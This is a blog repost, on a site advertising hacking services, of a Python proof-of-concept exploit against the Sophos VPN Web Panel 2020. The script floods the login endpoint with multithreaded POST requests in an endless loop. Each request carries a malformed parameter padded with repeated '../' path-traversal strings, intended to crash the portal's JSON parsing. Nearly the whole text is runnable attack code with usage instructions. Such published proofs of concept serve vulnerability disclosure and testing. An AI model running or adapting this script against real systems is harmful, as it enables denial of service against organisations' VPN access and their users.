Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86390080

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Sophos VPN Web Panel 2020 - Denial of Service (Poc)
# Date: 2020-06-17
# Exploit Author: Berk KIRAS
# Vendor Homepage: https://www.sophos.com/
# Version:2020 Web Panel
# Tested on: Apache
# Berk KIRAS PwC - Cyber Security Specialist 
# Sophos VPN Web Portal Denial of Service Vulnerability
# System parse JSON data. If we want to send some JSON with invalid data format 
#  for ex. valid -> {"test","test2"} , invalid -> {"test",PAYLOAD"test2"} 
# The system can not parse this data fastly and service down
# payload_option2 ="../../../../../../../../../FILE./FILE"

#!/usr/bin/python3

import requests
import sys
import random
import threading

def send_req():
        cnt = random.randint(9,22)
        payload= "../"*cnt+'{FILE}'
        my_datas_params = {"username":"test",
        payload+"password":"admin",
        "cookie":"0",
        "submit":"<div class=\"login_screen_login_button_left\"></div><div class=\"login_screen_login_button_middle\">Oturum Aç</div><div class=\"login_screen_login_button_right\"></div>",
        "language":"turkish",
        "browser_id":"kbgacsyo-q4j5o7lr70e"}
    
            # You should change some values into the headers
        Host_addr = sys.argv[2]
        Origin=sys.argv[1]+"://"+sys.argv[2]
        Referrer=sys.argv[1]+"://"+sys.argv[2]
        Cookie=sys.argv[4]
        #Headers
        my_datas_headers ={
            "Host":str(Host_addr),
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0",
            "Accept": "text/javascript, text/html, application/xml, text/xml, */*",
            "Accept-Language": "tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3",
            "Accept-Encoding": "gzip, deflate",
            "X-Requested-With": "XMLHttpRequest",
            "X-Prototype-Version": "1.6.1_rc3",
            "Content-type": "application/json; charset=UTF-8",
            "Origin":Origin,
            "Connection": "close",
            "Referer":Referrer,
            "Cookie":Cookie,
        }
        my_datas_headers2 ={
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0",
            "Accept": "text/javascript, text/html, application/xml, text/xml, */*",
            "Accept-Language": "tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3",
            "Accept-Encoding": "gzip, deflate",
            "X-Requested-With": "XMLHttpRequest",
            "X-Prototype-Version": "1.6.1_rc3",
            "Content-type": "application/json; charset=UTF-8",
            "Connection": "close",
        }
        #If you want to edit and add headers some headers added
        s = requests.session()
       #if you want simple-> headers={'User-Agent': 'Mozilla', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}
        s.headers.update(my_datas_headers2)
        print(s.headers.items)
        r = s.post(sys.argv[1]+"://"+sys.argv[2]+sys.argv[3],data=my_datas_params)
        
        return s
 
def main():
    if(len(sys.argv) < 6): 
        print("Usage:1) Implement your headers \n2)change payload if you want \n3) exploit.py <http/https> <domain> <page> <cookie-val> <Thread(1-10)> \nExample-> exploit.py http vpn.test.com /test/index.plx 2\nCoded by b3rkk1r4s | PwC Cyber")
        sys.exit(0)
    else:
        try:
                req_count=0  
                while(True):
                    if(int(sys.argv[5])==1):
                        resp = send_req()
                        req_count=req_count+1
                        print("Sending Requests... Count: "+str(req_count))
                    else:
                        threads = int(sys.argv[5])
                        jobs = []
                        for i in range(0, threads):
                            out_list = list()
                            thread = threading.Thread(target=send_req)
                            jobs.append(thread)
                        for j in jobs:
                            j.start()
                        print("Jobs Started!")
                        # Ensure all of the threads have finished
                        for j in jobs:
                            j.join()
                        
        except Exception:
            print(Exception)

main()